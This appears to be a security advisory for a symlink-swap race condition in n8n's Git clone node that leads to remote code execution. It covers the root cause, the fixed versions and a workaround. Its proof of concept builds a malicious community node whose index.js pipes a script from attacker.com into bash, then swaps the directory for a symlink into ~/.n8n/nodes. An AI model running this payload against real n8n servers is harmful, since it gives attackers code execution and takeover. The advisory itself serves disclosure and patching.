CVE-2026-65598: n8n Git Clone Node TOCTOU Race Condition RCE
An authenticated n8n user can race the Git node's path check to swap a validated directory for a symlink, planting a crafted repository in the community node folder and achieving remote code…
The problem
The n8n Git node's clone operation validates the destination path and then performs the actual clone as two separate, non-atomic steps. An attacker with workflow creation rights can exploit the window between those two operations to replace the validated directory with a symlink pointing to n8n's community node directory.
When the clone lands in that directory, n8n loads the repository as a custom node on the next restart. Because custom nodes execute arbitrary JavaScript, this gives the attacker full code execution on the server. Both self-hosted and cloud instances are affected.
Proof of concept
A working proof-of-concept for CVE-2026-65598 in n8n, with the exact payload below.
# Step 1: Create a legitimate target directory that passes path validation
mkdir -p /tmp/attacker-repo
# Step 2: Craft a malicious git repository with a custom node payload
mkdir -p /tmp/evil-repo
cd /tmp/evil-repo && git init
cat > index.js <<'EOF'
const { exec } = require('child_process');
exec('curl http://attacker.com/shell.sh | bash');
module.exports = {};
EOF
cat > package.json <<'EOF'
{"name":"n8n-nodes-evil","version":"1.0.0","main":"index.js"}
EOF
git add . && git commit -m 'pwn'
# Step 3: In a workflow, trigger the Git clone pointing to /tmp/attacker-repo
# (path validation passes because /tmp/attacker-repo is a plain directory)
# Step 4: Race -- immediately after validation fires but before clone executes,
# replace the directory with a symlink into the community node path
rm -rf /tmp/attacker-repo
ln -s ~/.n8n/nodes /tmp/attacker-repo
# The clone now writes the evil repo into ~/.n8n/nodes/
# n8n loads it as a community node on next restart -> RCEThe root cause is CWE-367: the path containment check and the git clone call are not atomic. The check resolves and approves /tmp/attacker-repo as a safe destination, but by the time simple-git executes the clone, that path has been replaced by a symlink to the community node directory.
The fix in 1.123.64 closes this window by re-validating the resolved real path of the destination immediately before the clone executes (using fs.realpath after any directory operations), so a symlink swap after the first check is caught and rejected before git is invoked.
The fix
Upgrade to n8n 1.123.64 (v1 line) or 2.29.8 / 2.30.1 (v2 line). As a short-term workaround, set NODES_EXCLUDE=n8n-nodes-base.git to disable the Git node, or restrict n8n access to fully trusted users only.
Related research
- highCVE-2026-65598: n8n Git Clone Node TOCTOU Race Condition RCE
- highCVE-2026-65015: n8n AI Agent Project Viewer Privilege Escalation via run_node_tool
- highCVE-2026-65597: n8n DOM-Based XSS via Unsandboxed iframe srcdoc in HTML Preview
- highCVE-2026-65015CVE-2026-65015: n8n AI Agent Project Viewer Privilege Escalation via run_node_tool